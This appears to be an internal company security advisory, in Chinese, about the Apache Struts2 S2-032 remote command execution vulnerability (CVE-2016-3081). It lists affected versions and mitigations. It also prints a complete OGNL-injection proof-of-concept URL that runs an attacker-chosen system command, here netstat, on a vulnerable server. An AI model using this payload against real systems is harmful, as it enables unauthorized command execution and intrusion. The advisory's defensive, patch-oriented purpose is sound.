【高危】- Struts2最新远程命令执行漏洞

     Apache Struts2是一款应用广泛的JAVA WEB框架,今日(4月26日)Apache Struts2官方发布安全公告,Apache Struts2 服务在开启动态方法调用的情况下可以远程执行任意命令,官方编号 S2-032,CVE编号 CVE-2016-3081,具体请见: https://cwiki.apache.org/confluence/display/WW/S2-032

 

       该漏洞危害性极高,希望各业务线安全接口人能够足够重视,尽快安排相关老师排查本业务线是否存在使用Struts2的站点并符合漏洞利用条件!

 

漏洞影响范围:
1
)Struts2 服务动态方法调用-DMI 开启的前提;
2)Apache Struts 2.3.18 ~ 2.3.28 之间版本(除了 2.3.20.2 与 2.3.24.2 版本);

解决方案:
1
)禁用动态方法调用:
修改 Struts2 的配置文件,将“struts.enable.DynamicMethodInvocation” 设置为 false,如
    <constant name="struts.enable.DynamicMethodInvocation" value="false" />

2)如条件允许前提下,可升级 Struts 版本至 Struts 2.3.20.2, Struts 2.3.24.2 或者 Struts 2.3.28.1 来修复漏洞,可在 https://struts.apache.org/download.cgi#struts23281  下载;

目前已有多个版本的漏洞利用 POC 在互联网流传,分为命令执行版本与直接写入Web后门的版本,预计本周会迎来漏洞爆发的高峰。

漏洞测试代码(无危害):
http://www.xxx.com/test.action?method:%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%2c%23a%3d%40java.lang.Runtime%40getRuntime%28%29.exec%28%23parameters.command%5B0%5D%29.getInputStream%28%29%2c%23b%3dnew%20java.io.InputStreamReader%28%23a%29%2c%23c%3dnew%20java.io.BufferedReader%28%23b%29%2c%23d%3dnew%20char%5B51020%5D%2c%23c.read%28%23d%29%2c%23kxlzx%3d%40org.apache.struts2.ServletActionContext%40getResponse%28%29.getWriter%28%29%2c%23kxlzx.println%28%23d%29%2c%23kxlzx.close&command=netstat

漏洞细节参考:

Struts2方法调用远程代码执行漏洞(CVE-2016-3081)分析(http://drops.wooyun.org/papers/15430

 

        谢谢!

 

安全小组